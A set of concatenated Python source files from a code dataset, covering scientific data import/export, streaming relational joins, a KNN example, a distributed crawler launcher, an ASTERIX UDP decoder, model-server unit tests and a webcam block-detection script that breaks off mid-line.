zipped_file:\n                zipped_file.extractall(path=tempdir)\n                yaml = aspecd.utils.Yaml()\n                yaml.binary_directory = os.path.join(tempdir, self._bin_dir)\n                yaml.read_from(os.path.join(tempdir,\n                                            self._dataset_yaml_filename))\n                yaml.deserialise_numpy_arrays()\n        self.dataset.from_dict(yaml.dict)\n\n\nclass AsdfExporter(DatasetExporter):\n    \"\"\"\n    Dataset exporter for exporting to Advanced Scientific Data Format (ASDF).\n\n    For more information on ASDF, see the\n    `homepage of the asdf package <https://asdf.readthedocs.io/en/stable/>`_,\n    and its `format specification <https://asdf-standard.readthedocs.io/>`_.\n\n    \"\"\"\n\n    def __init__(self, target=None):\n        super().__init__(target=target)\n        self.extension = '.asdf'\n\n    def _export(self):\n        if not self.target:\n            raise aspecd.exceptions.MissingTargetError\n\n        dataset_dict = self.dataset.to_dict()\n        dataset_dict[\"dataset_history\"] = dataset_dict.pop(\"history\")\n        asdf_file = asdf.AsdfFile(dataset_dict)\n        asdf_file.write_to(self.target + self.extension)\n\n\nclass AsdfImporter(DatasetImporter):\n    \"\"\"\n    Dataset importer for importing from Advanced Scientific Data Format (ASDF).\n\n    For more information on ASDF, see the\n    `homepage of the asdf package <https://asdf.readthedocs.io/en/stable/>`_,\n    and its `format specification <https://asdf-standard.readthedocs.io/>`_.\n\n    \"\"\"\n\n    def __init__(self, source=None):\n        super().__init__(source=source)\n        self.extension = '.asdf'\n\n    def _import(self):\n        with asdf.open(self.source + self.extension, lazy_load=False,\n                       copy_arrays=True) as asdf_file:\n            dataset_dict = asdf_file.tree\n            dataset_dict[\"history\"] = dataset_dict.pop(\"dataset_history\")\n            self.dataset.from_dict(dataset_dict)\n\n\nclass TxtImporter(DatasetImporter):\n    # noinspection PyUnresolvedReferences\n    \"\"\"\n    Dataset importer for importing from plain text files (TXT).\n\n    Plain text files have often the disadvantage of no accompanying metadata,\n    therefore the use of plain text files for data storage is highly\n    discouraged, besides other problems like inherent low resolution/accuracy\n    or otherwise large file sizes.\n\n    The main reason for this class to exist is that it provides a simple way\n    to showcase ASpecD functionality reading from primitive data sources.\n    Besides that, sometimes you will encounter plain text files.\n\n    .. note::\n        The importer relies on :func:`numpy.loadtxt` for reading text files.\n        Hence, you can use any parameters understood by this function as\n        keys in the :attr:`parameters` attribute. For handling decimal\n        separators (non-standard behaviour), see below.\n\n    If your data consist of two columns, the first will automatically be\n    interpreted as the *x* axis. In all other cases, data will be read as is\n    and no axes values explicitly written.\n\n\n    Attributes\n    ----------\n    parameters : :class:`dict`\n        Parameters controlling the import\n\n        skiprows : :class:`int`\n            Number of rows to skip in text file (*e.g.*, header lines)\n\n        delimiter : :class:`str`\n            The string used to separate values.\n\n            Default: None (meaning: whitespace)\n\n        comments : :class:`str` | :class:`list`\n            Characters or list of characters indicating the start of a comment.\n\n            Default: #\n\n        separator : :class:`str`\n            Character used as decimal separator.\n\n            Default: None (meaning: dot)\n\n\n    .. admonition:: Decimal separators\n\n        Handling decimal separators other than the dot is notoriously\n        difficult, though often necessary. For this, the non-standard key\n        ``separator`` has been introduced that is not supported by numpy\n        itself. If you specify a character using this parameter, the file\n        will be read as text and the character specified replaced by the\n        dot. Only afterwards will :func:`numpy.loadtxt` be used with all the\n        other parameters as usual.\n\n\n    .. versionchanged:: 0.6.3\n        Document more parameter keys; add handling of decimal separator.\n\n    \"\"\"\n\n    def __init__(self, source=None):\n        super().__init__(source=source)\n        self.extension = '.txt'\n        self.parameters[\"skiprows\"] = 0\n        self.parameters[\"delimiter\"] = None\n        self.parameters[\"comments\"] = \"#\"\n        self.parameters[\"separator\"] = None\n\n    def _import(self):\n        if \"separator\" in self.parameters:\n            separator = self.parameters.pop(\"separator\")\n        else:\n            separator = None\n        if separator:\n            with open(self.source, encoding=\"utf8\") as file:\n                contents = file.read()\n            contents = contents.replace(separator, '.')\n            # noinspection PyTypeChecker\n            data = np.loadtxt(io.StringIO(contents), **self.parameters)\n        else:\n            data = np.loadtxt(self.source, **self.parameters)\n        if len(np.shape(data)) > 1 and np.shape(data)[1] == 2:\n            self.dataset.data.axes[0].values = data[:, 0]\n            data = data[:, 1]\n        self.dataset.data.data = data\n\n\nclass TxtExporter(DatasetExporter):\n    \"\"\"\n    Dataset exporter for exporting to plain text files (TXT).\n\n    Plain text files have often the disadvantage of no accompanying metadata,\n    therefore the use of plain text files for data storage is highly\n    discouraged, besides other problems like inherent low resolution/accuracy\n    or otherwise large file sizes.\n\n    .. warning::\n        All metadata contained within a dataset (including the full history)\n        are lost when exporting to plain text. Therefore, using this\n        exporter will usually result in you loosing reproducibility. Hence,\n        better think twice before using this exporter and use entirely on\n        your own risk and only if you *really* know what you are doing (and\n        why).\n\n    The main reason for this class to exist is that sometimes there is a\n    need to export data to a simple exchange format that can be shared with\n    collaboration partners.\n\n    .. note::\n        The importer relies on :func:`numpy.savetxt` for writing text files.\n        Hence, the same limitations apply, *e.g.* only working for 1D and 2D\n        data, but not data with more than two dimensions.\n\n    In case of 1D data, the resulting file will consist of two columns,\n    with the first column consisting of the axis values and the second column\n    containing the actual data. An example of the contents of such a file\n    are given below:\n\n    .. code-block::\n\n        3.400000000000000000e+02 6.340967862812832978e-01\n        3.410000000000000000e+02 3.424209074593306257e-01\n        3.420000000000000000e+02 1.675116805484100357e-02\n\n    In case of 2D data, the resulting file will contain the axes values in the\n    first row/column respectively. Hence, the size of the matrix will be +1\n    in both directions compared to the size of the actual data and the first\n    element (top left) will always be zero (and shall be ignored). An\n    example of the contents of such a file are given below:\n\n    .. code-block::\n\n        0.000000000000000000e+00 4.000000000000000000e+00 5.000000000000000000e+00\n        3.400000000000000000e+02 6.340967862812832978e-01 5.979077980106655144e-01\n        3.410000000000000000e+02 3.424209074593306257e-01 1.052868239245914328e-01\n        3.420000000000000000e+02 1.675116805484100357e-02 9.050894282755458375e-01\n\n    These two examples show immediately two of the problems of this file\n    format: You are left to guess the quantity and unit of each the axes,\n    and these files get quite big, as many decimal places are stored to\n    not loose numerical resolution. With 50 characters per line for a 1D\n    dataset (translating to at least one byte each), you end up with 50 kB\n    for 1000 values.\n\n    \"\"\"\n\n    def __init__(self, target=None):\n        super().__init__(target=target)\n        self.extension = '.txt'\n\n    def _export(self):\n        if not self.target:\n            raise aspecd.exceptions.MissingTargetError\n\n        if len(self.dataset.data.axes) == 2:\n            data = np.asarray([self.dataset.data.axes[0].values,\n                               self.dataset.data.data]).T\n        else:\n            data = np.zeros(np.asarray(self.dataset.data.data.shape) + 1)\n            data[1:, 0] = self.dataset.data.axes[0].values\n            data[0, 1:] = self.dataset.data.axes[1].values\n            data[1:, 1:] = self.dataset.data.data\n\n        np.savetxt(self._sanitise_file_extension(self.target), data)\n\n    def _sanitise_file_extension(self, target=None):\n        return \"\".join([os.path.splitext(target)[0], self.extension])\n","sub_path":"aspecd/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":46994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"89021734","text":"class Collector(object):\n    \"\"\"\n    Collects the output of a Stream and saves it in a `list` until `fetch()` is\n    called, which returns the list and resets it. This is useful for testing,\n    or to \"tap\" into Streams to see what they're doing.\n    \"\"\"\n\n    def __init__(self):\n        self._items = list()\n\n    def push(self, items):\n        self._items.extend(items)\n\n    def fetch(self):\n        items = self._items\n        self._items = list()\n        return items\n\n\nclass HalfJoinStream(object):\n    \"\"\"\n    Half of a JoiningStream, which has the `push()` method needed for an\n    upstream Stream to insert data into it, which is combined with information\n    about whether it's the left or right half of a join, then pushed down to\n    the JoiningStream.\n    \"\"\"\n\n    def __init__(self, pos, parent):\n        self._pos = pos\n        self._parent = parent\n\n    def push(self, items):\n        return self._parent.push(self._pos, items)\n\n\nclass Dictionary(object):\n    \"\"\"\n    A data structure to handle binary joins on some set of hashable columns\n    shared between two \"left\" and \"right\" relations.\n    \"\"\"\n\n    def __init__(self):\n        self._obj = dict()\n\n    def get_and_add(self, key, pos, pos_key):\n        \"\"\"\n        Given a `key` containing the values of the join column(s), looks up\n        whether that key exists, and whether the `pos` \"side\" of the join\n        (0 for left, 1 for right) contains the `pos_key`. The pos_key is\n        added to the set, and the opposite side returned to complete the join.\n        \"\"\"\n\n        obj = self._obj.get(key)\n        if not obj:\n            obj = (set(), set())\n            self._obj[key] = obj\n        l, r = obj\n\n        pos_set = l if pos == 0 else r\n        exists = pos_key in pos_set\n        if not exists:\n            pos_set.add(pos_key)\n\n        not_exists = not exists\n        iterable = r if pos == 0 else l\n        return not_exists, iterable\n\n\nclass Deduplicator(object):\n\n    def __init__(self):\n        self._obj = set()\n\n    def should_emit(self, val):\n        val_hashable = tuple(sorted(val.items()))\n        exists = val_hashable in self._obj\n        if not exists:\n            self._obj.add(val_hashable)\n        return not exists\n\n\nclass JoiningStream(object):\n    \"\"\"\n    A Stream interface object which implements a natural join between two\n    Streams.\n    \"\"\"\n\n    def __init__(self, left, right):\n        self._join = Dictionary()\n\n        self.left = HalfJoinStream(0, self)\n        self.right = HalfJoinStream(1, self)\n\n        left_attr_set = set(left.attr_names)\n        right_attr_set = set(right.attr_names)\n\n        self._join_attrs = list(left_attr_set & right_attr_set)\n        self._left_attrs = list(left_attr_set - right_attr_set)\n        self._right_attrs = list(right_attr_set - left_attr_set)\n\n        assert len(self._join_attrs) > 0, \\\n            \"Natural join needs at least one shared attribute \" \\\n            \"between %r and %r\" \\\n            % (left.attr_names, right.attr_names)\n\n        self._listeners = list()\n\n    def attrs(self):\n        return self._left_attrs + self._join_attrs + self._right_attrs\n\n    def push(self, pos, items):\n        output_items = list()\n\n        for item in items:\n            idx = tuple([item[k] for k in self._join_attrs])\n\n            attrs = self._left_attrs if pos == 0 else self._right_attrs\n            other_attrs = self._right_attrs if pos == 0 else self._left_attrs\n            key = tuple([item[k] for k in attrs])\n            not_exists, iterable = self._join.get_and_add(idx, pos, key)\n\n            if not_exists:\n                out = self._push(item, iterable, other_attrs)\n                output_items.extend(out)\n\n        for listener in self._listeners:\n            listener.push(output_items)\n\n    def _push(self, base_val, iterable, other_attrs):\n        out = list()\n\n        for o in iterable:\n            val = base_val.copy()\n            for k, v in zip(other_attrs, o):\n                val[k] = v\n            out.append(val)\n\n        return out\n\n\nclass Stream(object):\n    \"\"\"\n    Streaming relational operations. Each instance of Stream may transform the\n    tuples and `push()` them down to listeners. In this way, a network of\n    Streams can perform operations with limited local state.\n    \"\"\"\n\n    def __init__(self, attr_names, push_func=None):\n        self.attr_names = attr_names\n        self._push_func = push_func\n        self._listeners = list()\n\n    def push(self, items):\n        if self._push_func is not None:\n            items = self._push_func(self, items)\n\n        #import sys; print>>sys.stderr,\"PUSH: %r\" % items\n        for listener in self._listeners:\n            listener.push(items)\n\n    def collect(self):\n        collector = Collector()\n        self._listeners.append(collector)\n        return collector\n\n    def union(self, other):\n        self._assert_compatible(other, \"union\")\n        # TODO\n        raise StandardError(\"Stream.union not implemented\")\n\n    def intersection(self, other):\n        self._assert_compatible(other, \"intersection\")\n        # TODO\n        raise StandardError(\"Stream.intersection not implemented\")\n\n    def difference(self, other):\n        self._assert_compatible(other, \"difference\")\n        # TODO\n        raise StandardError(\"Stream.difference not implemented\")\n\n    def projection(self, new_attr_names):\n        emitted = Deduplicator()\n\n        def push_func(stream, items):\n            new_items = list()\n            for item in items:\n                new_item = dict([[k, item[k]] for k in new_attr_names])\n                if emitted.should_emit(new_item):\n                    new_items.append(new_item)\n            return new_items\n\n        s = Stream(new_attr_names, push_func)\n        self._listeners.append(s)\n        return s\n\n    def selection(self, pred):\n        # TODO\n        raise StandardError(\"Stream.selection not implemented\")\n\n    def rename(self, new_attr_names):\n        names = zip(new_attr_names, self.attr_names)\n\n        def push_func(stream, items):\n            new_items = list()\n            for item in items:\n                new_item = dict([(new, item[old]) for (new, old) in names])\n                new_items.append(new_item)\n            return new_items\n\n        s = Stream(new_attr_names, push_func)\n        self._listeners.append(s)\n        return s\n\n    def unnest(self, attr, unnested_attr):\n        seen = Deduplicator()\n\n        def push_func(stream, items):\n            new_items = list()\n            for item in items:\n                for val in item[attr]:\n                    new_item = item.copy()\n                    new_item.pop(attr)\n                    new_item[unnested_attr] = val\n                    if seen.should_emit(new_item):\n                        new_items.append(new_item)\n            return new_items\n\n        replace_idx = self.attr_names.index(attr)\n        attrs = list(self.attr_names)\n        attrs[replace_idx] = unnested_attr\n        s = Stream(attrs, push_func)\n        self._listeners.append(s)\n        return s\n\n    def join_func(self, arg_names, result_name, func):\n        def push_func(stream, items):\n            new_items = list()\n            for item in items:\n                assert isinstance(item, dict), \"Item %r should be dict\" % item\n                new_item = item.copy()\n                args = [item[arg] for arg in arg_names]\n                new_item[result_name] = func(*args)\n                new_items.append(new_item)\n            return new_items\n\n        s = Stream(self.attr_names + [result_name], push_func)\n        self._listeners.append(s)\n        return s\n\n    def natural_join(self, other):\n        js = JoiningStream(self, other)\n\n        self._listeners.append(js.left)\n        other._listeners.append(js.right)\n\n        s = Stream(js.attrs())\n        js._listeners.append(s)\n        return s\n\n    def _indices_for(self, attrs):\n        indices = list()\n        for n in attrs:\n            indices.append(self.attr_names.index(n))\n        return indices\n\n    def _assert_compatible(self, other, op_name):\n        assert self.attr_names == other.attr_names, \\\n            \"Stream attributes incompatible in %s: %r != %r\" \\\n            % (op_name, self.attr_names, other.attr_names)\n","sub_path":"neat_yet_again/neat/external.py","file_name":"external.py","file_ext":"py","file_size_in_byte":8213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"611065664","text":"from numpy import *\nimport operator \nimport matplotlib\nimport matplotlib.pyplot as plt\ndef createDataSet():\n\tgroup = array([[1.0,1.1],[1.0,1.0],[0,0],[0,0.1]])\n\tlabels = ['A','A','B','B']\n\treturn group, labels\ndef classify0(inx,dataSet, label, k):\n\tdataSetSize = dataSet.shape[0]\n\tdiffMat = tile(inx, (dataSetSize,1))-dataSet\n\tsqDiffMat = diffMat**2\n\tsqDistances = sqDiffMat.sum(axis=1)\n\tdistances = sqDistances**0.5\n\tsortedDistIndicies = distances.argsort()\n\tclassCount = {}\n\tfor i in range(k):\n\t\tvoteIlabel = labels[sortedDistIndicies[i]]\n\t\tclassCount[voteIlabel] = classCount.get(voteIlabel,0)+1\n\tsortedClassCount = sorted(classCount.iteritems(),key=operator.itemgetter(1),reverse=True)\t\n\treturn sortedClassCount[0][0]\n\ndef file2matrix(filename):\n\tfr = open(filename)\n\tarrayOLines = fr.readlines()\n\tnumberOfLines = len(arrayOLines)\n\treturnMat = zeros((numberOfLines,3))\n\tclassLabelVector = []\n\tindex = 0\n\tfor line in arrayOLines:\n\t\tline = line.strip()\n\t\tlistFromLine = line.split('\\t')\n\t\treturnMat[index,:] = listFromLine[0:3]\n\t\tclassLabelVector.append(int(listFromLine[-1]))\n\t\tindex += 1\n\treturn returnMat,classLabelVector\n\n#group,labels = createDataSet()\n#print classify0([3,0],group,labels,3)\ndatingDataMat,datingLabels = file2matrix(\"datingTestSet2.txt\")\n#datingDataMat,datingLabels = file2matrix(\"C:\\Python27\\datingTestSet2.txt\")\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.scatter(datingDataMat[:,1],datingDataMat[:,2])\nplt.show()","sub_path":"KNN/KNN.py","file_name":"KNN.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"391833347","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import absolute_import\r\n\r\nfrom billiard import Process\r\nfrom pymongo import MongoClient\r\nfrom scrapy.utils.project import get_project_settings\r\n\r\nfrom celery_tasks.tasks.ok_focus_group import _crawl\r\nfrom common.helpers.list_helpers import split\r\n\r\ntry:\r\n    from distributed import Executor as Client\r\nexcept ImportError:\r\n    # Executor was renamed to Client\r\n    from distributed import Client\r\n\r\nNUM_WORKERS = 48\r\nTOPIC_PAGES = 5\r\nCOMMENT_PAGES = 3\r\nWAIT_MINUTES = 30\r\n\r\n\r\ndef get_groups():\r\n    mongo_url = get_project_settings().get('COMMON', {}).get('mongo.url')\r\n    client = MongoClient(mongo_url)\r\n    db = client['focus_crawl_db']\r\n    groups = db['groups']\r\n    return [str(g['group_id']) for g in groups.find().sort('last_modified', -1)]\r\n\r\n\r\ndef crawl(pid, group_ids, topic_pages=5, comment_pages=3):\r\n    p = Process(target=_crawl, args=[pid, group_ids, topic_pages, comment_pages])\r\n    p.start()\r\n    p.join()\r\n\r\n\r\ndef run():\r\n    group_ids = [group_id for group_id in get_groups()]\r\n    chunks = split(group_ids, num_of_chunks=NUM_WORKERS)\r\n\r\n    client = Client('hdp-05:8786')\r\n    futures = client.map(crawl, range(NUM_WORKERS), chunks)\r\n    client.gather(futures)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    run()\r\n    # while True:\r\n    #     run()\r\n    #     sleep(60 * WAIT_MINUTES)\r\n","sub_path":"celery_tasks/run/ok_focus_group_dask.py","file_name":"ok_focus_group_dask.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"568270547","text":"import socket\nimport json\nimport struct\nimport asterix\nimport uvicorn\nfrom threading import Thread\nfrom mess import Mess\n# socketio\nimport socketio\nsio = socketio.AsyncServer(async_mode='asgi')\napp = socketio.ASGIApp(sio, static_files={\n    '/': {'content_type': 'text/html', 'filename': 'app.html'},\n})\nbackground_task_started = False\nbackground_search_started = False\nglobal msg\nmsg = '[{}' \nasync def background_task():\n    \"\"\"Example of how to send server generated events to clients.\"\"\"\n    count = 0\n    while True:\n        # thread.start_new_thread(search, ('test.log'), {\"id\": 1})\n        # search('test.log')\n        # background_search_started = True\n        await sio.sleep(1)\n        count += 1\n        global msg\n        await sio.emit('data',msg+']',namespace='/test')\n        msg = '[{}'\n        \n@sio.on('connect', namespace='/test')\nasync def test_connect(sid, environ):\n    global background_task_started\n    if not background_task_started:\n        sio.start_background_task(background_task)\n        background_task_started = True\n\n@sio.on('disconnect', namespace='/test')\ndef test_disconnect(sid):\n    print('Client disconnected')\n\ndef udpInit():\n    # socket\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    sock.bind(('', 9999)) # 广播方式\n\n    # mess = ''\n    # data_rest = None\n    while True:\n        data = sock.recv(100)\n        # print('----------------------')\n        # Parse data verbose=False\n        parsed = asterix.parse(data, verbose=False)\n        # for packet in parsed:\n        #     for item in packet.items():\n        #         print(item)\n        # print('----------------------')\n        mess = Mess(parsed)\n        mess.getData()\n        mess.parsed = ''\n        in_json = json.dumps(mess.__dict__) \n        # print(in_json)\n        global msg\n        msg += ',' + in_json\n\nif __name__ == '__main__':\n    thread_01 = Thread(target=udpInit)\n    thread_01.start()\n    uvicorn.run(app, host='127.0.0.1', port=5012)","sub_path":"decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"356113470","text":"#\r\n# Copyright (c) 2018 Intel Corporation\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n#      http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n#\r\n\r\nimport pytest\r\nfrom ie_serving.models.model import Model\r\n\r\n\r\ndef test_model_init():\r\n    new_model = Model(model_name=\"test\", model_directory='fake_path',\r\n                      available_versions=[1, 2, 3], engines={})\r\n    assert new_model.default_version == 3\r\n    assert new_model.model_name == 'test'\r\n    assert new_model.model_directory == 'fake_path'\r\n    assert new_model.engines == {}\r\n\r\n\r\n@pytest.mark.parametrize(\"path, expected_value\", [\r\n    ('fake_path/model/1', 1),\r\n    ('fake_path/model/1/test', 0),\r\n    ('fake_path/model/56', 56)\r\n])\r\ndef test_get_version_number_of_model(path, expected_value):\r\n    output = Model.get_model_version_number(version_path=path)\r\n    assert output == expected_value\r\n\r\n\r\n@pytest.mark.parametrize(\"path, model_files, expected_value\", [\r\n    ('fake_path/model/1', [['model.bin'], ['model.xml']],\r\n     ('model.xml', 'model.bin')),\r\n    ('fake_path/model/1', [['model'], ['model.xml']],\r\n     (None, None)),\r\n    ('fake_path/model/1', [['model.bin'], ['model.yml']],\r\n     (None, None))\r\n])\r\ndef test_get_absolute_path_to_model(mocker, path, model_files,\r\n                                    expected_value):\r\n    model_mocker = mocker.patch('glob.glob')\r\n    model_mocker.side_effect = model_files\r\n    output1, output2 = Model.get_absolute_path_to_model(\r\n        specific_version_model_path=path)\r\n    assert expected_value[0] == output1\r\n    assert expected_value[1] == output2\r\n\r\n\r\ndef test_get_all_available_versions(mocker):\r\n    new_model = Model(model_name=\"test\", model_directory='fake_path/model/',\r\n                      available_versions=[1, 2, 3], engines={})\r\n    model_mocker = mocker.patch('glob.glob')\r\n    models_path = [new_model.model_directory + str(x) for x in range(5)]\r\n    model_mocker.return_value = models_path\r\n    absolute_path_model_mocker = mocker.patch('ie_serving.models.model.Model.'\r\n                                              'get_absolute_path_to_model')\r\n    absolute_path_model_mocker.side_effect = [(None, None),\r\n                                              ('modelv2.xml', 'modelv2.bin'),\r\n                                              (None, None),\r\n                                              ('modelv4.xml', 'modelv4.bin')]\r\n    output = new_model.get_all_available_versions(new_model.model_directory)\r\n    expected_output = [{'xml_model_path': 'modelv2.xml',\r\n                        'bin_model_path': 'modelv2.bin', 'version': 2},\r\n                       {'xml_model_path': 'modelv4.xml', 'bin_model_path':\r\n                           'modelv4.bin', 'version': 4}]\r\n\r\n    assert 2 == len(output)\r\n    assert expected_output == output\r\n\r\n\r\ndef test_get_engines_for_model(mocker):\r\n    engines_mocker = mocker.patch('ie_serving.models.ir_engine.IrEngine.'\r\n                                  'build')\r\n    engines_mocker.side_effect = ['modelv2', 'modelv4']\r\n    available_versions = [{'xml_model_path': 'modelv2.xml',\r\n                           'bin_model_path': 'modelv2.bin', 'version': 2},\r\n                          {'xml_model_path': 'modelv4.xml', 'bin_model_path':\r\n                           'modelv4.bin', 'version': 4}]\r\n    output = Model.get_engines_for_model(versions=available_versions)\r\n    assert 2 == len(output)\r\n    assert 'modelv2' == output[2]\r\n    assert 'modelv4' == output[4]\r\n\r\n\r\ndef test_get_engines_for_model_with_ir_raises(mocker):\r\n    engines_mocker = mocker.patch('ie_serving.models.ir_engine.IrEngine.'\r\n                                  'build')\r\n    engines_mocker.side_effect = ['modelv2', 'modelv4', Exception(\"test\")]\r\n    available_versions = [{'xml_model_path': 'modelv2.xml',\r\n                           'bin_model_path': 'modelv2.bin', 'version': 2},\r\n                          {'xml_model_path': 'modelv4.xml', 'bin_model_path':\r\n                              'modelv4.bin', 'version': 3},\r\n                          {'xml_model_path': 'modelv4.xml', 'bin_model_path':\r\n                              'modelv4.bin', 'version': 4}]\r\n    output = Model.get_engines_for_model(versions=available_versions)\r\n    assert 2 == len(output)\r\n    assert 'modelv2' == output[2]\r\n    assert 'modelv4' == output[3]\r\n","sub_path":"tests/unit/models/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"15856118","text":"# Geschreven door Quinty van Dijk\n\nimport cv2\nimport block\nimport color\nimport connect\nimport calibrate\nfrom easygui import *\nimport numpy as np\nfrom time import sleep\n\nstr1 = \"\\x1b[0;30;44m\"\nstr2 = \"\\x1b[0m\"\n\n\ndef nothing(x):\n    pass\n\n\ndef init():\n    print(str1 + \"Start init\" + str2)\n    # ghallow kwintie\n    # Make windows to show webcam image, gray image etc\n    cv2.WINDOW_AUTOSIZE\n\n    cv2.namedWindow(\"beeld1\", cv2.WINDOW_AUTOSIZE)\n\n    cv2.moveWindow(\"beeld1\", 0, 0)\n\n    cv2.namedWindow(\"beeld2\", cv2.WINDOW_AUTOSIZE)\n\n    cv2.moveWindow(\"beeld2\", 640, 0)\n\n    cv2.namedWindow(\"beeld3\", cv2.WINDOW_AUTOSIZE)\n\n    cv2.moveWindow(\"beeld3\", 640 * 2, 0)\n\n    cv2.namedWindow(\"beeld4\", cv2.WINDOW_AUTOSIZE)\n\n    cv2.moveWindow(\"beeld4\", 640 * 2, 480)\n\n    # cv2.namedWindow('image', cv2.WINDOW_AUTOSIZE)\n    # cv2.moveWindow('image', 640, 0)\n    # cv2.createTrackbar('B', 'image', 0, 255, nothing)\n    # cv2.createTrackbar('G', 'image', 0, 255, nothing)\n    # cv2.createTrackbar('R', 'image', 0, 255, nothing)\n    #\n    # cv2.createTrackbar('B1', 'image', 0, 255, nothing)\n    # cv2.createTrackbar('G1', 'image', 0, 255, nothing)\n    # cv2.createTrackbar('R1', 'image', 0, 255, nothing)\n\n    # Make connection to webcam\n    webcam = cv2.VideoCapture(1)\n\n    webcam.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n    webcam.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n\n    webcam.get(cv2.CAP_PROP_FRAME_WIDTH)\n\n    # return webcam info\n    print(str1 + \"Init Done\" + str2)\n    return webcam\n\n\ndef calibration(cam, threshold):\n    print(str1 + \"Start calibration\" + str2)\n    while True:\n        retval, img = cam.read()\n        if retval:\n            b, x, y = calibrate.calibrate(img, threshold)\n            print(str1 + \"Calibration done\" + str2)\n            return b, x, y\n\n\ndef next_color(code):\n    code += 1\n    if code >= 3:\n        code = 1\n    return code\n\n\ndef get_color(code):\n    if code == 1:\n        return \"yellow\"\n    if code == 2:\n        return \"red\"\n\n\ndef get_edges(img):\n    cv2.imwrite(\"image.jpg\", img)\n\n    imggray_temp = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    cv2.imwrite(\"grayscale.jpg\", imggray_temp)\n\n    # Maak imggray \"smoother\" voor minder ruis en dus betere detectie\n    imggray = cv2.GaussianBlur(imggray_temp, (5, 5), 0)\n    cv2.imwrite(\"blur.jpg\", imggray)\n\n    # Voor canny methode uit, geeft afbeelding met randen\n    img_edges = cv2.Canny(imggray, 60, 100)\n    cv2.imwrite(\"edges.jpg\", img_edges)\n    print(str1 + \"IMG processing done, edges made\" + str2)\n\n    return img_edges\n\n\ndef get_image(webcam):\n    while True:\n        retval, img = webcam.read()\n        if retval:\n            return img\n\n\ndef to_mm(x, y, img):\n    # y_img, x_img, bin = img.shape\n    # print(199/y_img)\n    # print(278/x_img)\n    # y_mm = 198 / y_img * y\n    # x_mm = 2786 / x_img * x\n    # x_mm -= 159\n    # y_mm -= 158\n\n    # vector = np.array([[x], [y]])\n    # print(vector)\n    # trans_matrix = np.array([[-158, 120], [-159, 40]])\n    # print(trans_matrix)\n    # trans_vector = trans_matrix * vector\n    # print(trans_vector)\n\n    cx = int((x / 1.73) - 136)\n    if cx < 0:\n        cx = int(cx * 0.965)\n\n    if cx > 0:\n        cx = int(cx * 0.88)\n\n    cy = int(((y / 1.69) - 175) * 0.93)\n\n    return cx, cy\n\n\n# Main:\n# init and calibration\ncolor_code = 1\nwebcam = init()\ncalibrated = False\ncal_threshold = 0.7\ny_mm_save = []\nx_mm_save = []\ndelay = 3\n\n# # Wait for PLC\nwhile not connect.from_plc():\n    print(str1 + \"Waiting for PLC before calibration\" + str2)\nimg_warped = 0\nwhile not calibrated:\n    # calibration:\n    try:\n        b_cal, x_cal, y_cal = calibration(webcam, cal_threshold)\n        # show calibration status\n        img = get_image(webcam)\n        img_warped = calibrate.warp(img, b_cal, x_cal, y_cal)\n\n        print(\"show images:\")\n        cv2.imshow(\"beeld4\", img_warped)\n        cv2.waitKey(10)\n\n        user = boolbox(msg=\"Calibratie oke?\", title=\"Calibratie\", choices=(\"[J]a\", \"[N]ee\"), default_choice=\"Yes\")\n        if not user:\n            cal_threshold = float(enterbox(msg=\"Threshold nu is\" + str(cal_threshold), title=\"Threshold check\",\n                                     default=str(cal_threshold)))\n        if user:\n            calibrated = True\n\n\n    except Exception:\n        print(\"calibratie mislukt!\")\n        cal_threshold = float(enterbox(msg=\"Calibratie mislukt! Threshold nu is:\" + str(cal_threshold), title=\"Threshold check\",\n                             default=str(cal_threshold)))\n\n# main loop\nprint(str1 + \"Start loop\" + str2)\nwhile True:\n    if cv2.waitKey(10) == 27:\n        break\n    print(str1 + \"Top of loop. Waiting for plc\" + str2)\n    # Wait for connection from PLC\n    while not connect.from_plc():\n        img = get_image(webcam)\n        img_warped = calibrate.warp(img, b_cal, x_cal, y_cal)\n    ready = True\n    count_red = 0\n    count_mov_red = 0\n    count_yellow = 0\n    count_mov_yellow = 0\n\n    while ready:\n\n        # img = cv2.imread(\"C:/Users/kwint/Documents/1. School/Python dingen/project/test.jpg\")\n\n        # Get image from webcam\n        img = get_image(webcam)\n\n        # warp image from with data gotten from calibration\n        img_warped = calibrate.warp(img, b_cal, x_cal, y_cal)\n\n        # Filter one color out image\n        img_color = color.mask_img(color_code, img_warped)\n\n        # convert img color to edges.\n        img_edges = get_edges(img_color)\n\n        # Check for a shape in image\n        tmp = block.recognize(img_edges, img_warped)\n\n        # If shape found, send it to PLC\n        if tmp:\n            x_got, y_got, shape, degree = tmp\n\n            print(str1 + \"Found a shape!\" + str2, get_color(color_code))\n\n            x_mm, y_mm = to_mm(x_got, y_got, img_warped)\n            print(y_mm, x_mm)\n\n            cv2.putText(img_warped, str(y_mm), (80, 40), 